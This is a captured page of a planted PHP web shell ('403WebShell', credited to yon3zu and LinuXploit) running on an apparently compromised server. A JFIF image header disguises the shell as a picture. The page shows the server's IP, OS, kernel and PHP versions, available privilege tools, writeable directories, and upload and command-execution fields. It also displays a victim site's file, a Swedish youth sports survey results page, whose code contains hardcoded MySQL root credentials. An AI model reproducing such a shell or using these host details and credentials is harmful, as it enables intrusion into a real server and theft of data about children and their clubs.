????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 216.73.216.25
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/appsrv.astacus.se/maif/folkhalsan/results/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/appsrv.astacus.se/maif/folkhalsan/results/index_AU_10.php
<?php
$servername = "localhost";
$username   = "root";
$password   = "root123";
$dbname     = "Maif";

$conn = new mysqli($servername, $username, $password, $dbname);
if ($conn->connect_error) {
    die("Anslutningen misslyckades: " . $conn->connect_error);
}

$sql = "SELECT * FROM MaifFormularA ORDER BY team";
$result = $conn->query($sql);

function getRatingText($value) {
    switch ((int)$value) {
        case 4: return "Jättebra";
        case 3: return "OK";
        case 2: return "Inte helt OK";
        case 1: return "Dåligt";
        default: return "N/A";
    }
}

// Skala upp till 1–10
function normalizeTo10($value) {
    if (is_numeric($value)) {
        return ($value / 4) * 10;
    }
    return null;
}

// Medelvärde
function calculateAverage($values) {
    return count($values) > 0 ? round(array_sum($values) / count($values), 2) : 0;
}

if ($result->num_rows > 0) {
    $currentTeam   = "";
    $ratings       = [];
    $totalAverages = [];

    echo "<meta charset='UTF-8'><style>
        table { border-collapse: collapse; width: 100%; margin-bottom: 30px; }
        th, td { padding: 8px; text-align: left; border: 1px solid #ddd; }
        th { background-color: #f2f2f2; }
        tr:hover { background-color: #f1f1f1; }
        .overall-average { font-weight: bold; background: #f2f2f2; text-align: right; padding: 10px; margin-bottom: 30px; }
    </style>";

    while ($row = $result->fetch_assoc()) {
        if ($currentTeam !== $row['team']) {
            // Stäng föregående lag
            if ($currentTeam !== "") {
                echo "<tr style='font-weight: bold;'>";
                $teamTotal = 0; $numCols = 0;
                foreach ($ratings as $values) {
                    $avg = calculateAverage($values);
                    echo "<td>$avg</td>";
                    $teamTotal += $avg; $numCols++;
                }
                echo "<td></td></tr></table>";

                $overallTeamAverage = $numCols > 0 ? round($teamTotal/$numCols, 2) : 0;
                echo "<div class='overall-average'>Totalt medelbetyg (1–10) för " . htmlspecialchars($currentTeam) . ": $overallTeamAverage</div>";
                $totalAverages[] = $overallTeamAverage;
            }

            // Nytt lag
            $currentTeam = $row['team'];
            $ratings = [
                'training_feeling' => [],
                'at_training_feeling' => [],
                'competition_feeling' => [],
                'learn_new_things' => [],
                'fun_exercises' => [],
                'feel_safe_with_coach' => [],
                'speak_freely_to_coach' => [],
                'coach_listens' => [],
                'coach_knowledge' => [],
                'coach_explains' => [],
                'coach_help' => [],
                'coach_praise' => [],
                'coach_encourage' => [],
                'friends_at_training' => [],
                'feel_safe_in_group' => [],
                'speak_freely_in_group' => [],
                'friends_listen' => [],
                'group_is_nice' => []
            ];

            echo "<h2>Lag: " . htmlspecialchars($currentTeam) . "</h2>";
            echo "<table><tr>
                    <th>Hur mår du?</th>
                    <th>Stämningen i laget</th>
                    <th>Träningsupplägget</th>
                    <th>Lär sig nya saker</th>
                    <th>Roliga övningar</th>
                    <th>Trygg med ledare</th>
                    <th>Vågar prata med ledare</th>
                    <th>Ledarna lyssnar</th>
                    <th>Ledarnas kunskap</th>
                    <th>Ledarna förklarar</th>
                    <th>Får hjälp av ledare</th>
                    <th>Ledarna ger beröm</th>
                    <th>Ledarna uppmuntrar</th>
                    <th>Vänner på träningen</th>
                    <th>Trygg i gruppen</th>
                    <th>Vågar prata i gruppen</th>
                    <th>Vänner lyssnar</th>
                    <th>Alla är trevliga</th>
                    <th>Kommentarer</th>
                </tr>";
        }

        foreach ($ratings as $key => &$values) {
            if (isset($row[$key]) && is_numeric($row[$key])) {
                $normalized = normalizeTo10($row[$key]);
                if ($normalized !== null) {
                    $values[] = $normalized;
                }
            }
        }
        unset($values);

        echo "<tr>";
        foreach ($ratings as $key => $values) {
            echo "<td>" . getRatingText($row[$key]) . "</td>";
        }
        echo "<td>" . htmlspecialchars($row['comments']) . "</td></tr>";
    }

    // Sista laget
    echo "<tr style='font-weight: bold;'>";
    $teamTotal = 0; $numCols = 0;
    foreach ($ratings as $values) {
        $avg = calculateAverage($values);
        echo "<td>$avg</td>";
        $teamTotal += $avg; $numCols++;
    }
    echo "<td></td></tr></table>";

    $overallTeamAverage = $numCols > 0 ? round($teamTotal/$numCols, 2) : 0;
    echo "<div class='overall-average'>Totalt medelbetyg (1–10) för " . htmlspecialchars($currentTeam) . ": $overallTeamAverage</div>";
    $totalAverages[] = $overallTeamAverage;

    // Alla lag tillsammans
    $overallTotalAverage = count($totalAverages) > 0 ? round(array_sum($totalAverages)/count($totalAverages), 2) : 0;
    echo "<div class='overall-average'>Total medelbetyg (1–10) för alla lag: $overallTotalAverage</div>";

} else {
    echo "Inga svar har registrerats ännu.";
}

$conn->close();
?>

Youez - 2016 - github.com/yon3zu
LinuXploit